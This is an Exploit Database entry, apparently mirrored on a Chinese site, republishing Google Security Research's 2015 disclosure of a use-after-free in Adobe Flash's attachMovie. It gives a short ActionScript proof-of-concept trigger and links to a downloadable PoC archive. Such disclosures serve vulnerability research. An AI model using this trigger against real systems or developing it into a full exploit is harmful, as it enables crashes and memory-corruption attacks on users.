Adobe Flash – attachMovie Use-After-Free

• Exploit Database
• 23 阅读

• 作者： Google Security Research
  日期： 2015-08-19
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/37865/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=391&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
  
  There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows:
  
  n = {_quality : {toString : func}};
  function func(){
  	
  	trace("hello");
  	
  	newResetButton.removeMovieClip();
  	return "test";
  	}
  	
  _root.attachMovie("myResetButton","newResetButton",200, n);
  
  A sample fla and swf are attached.
  
  Proof of Concept: 
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37865.zip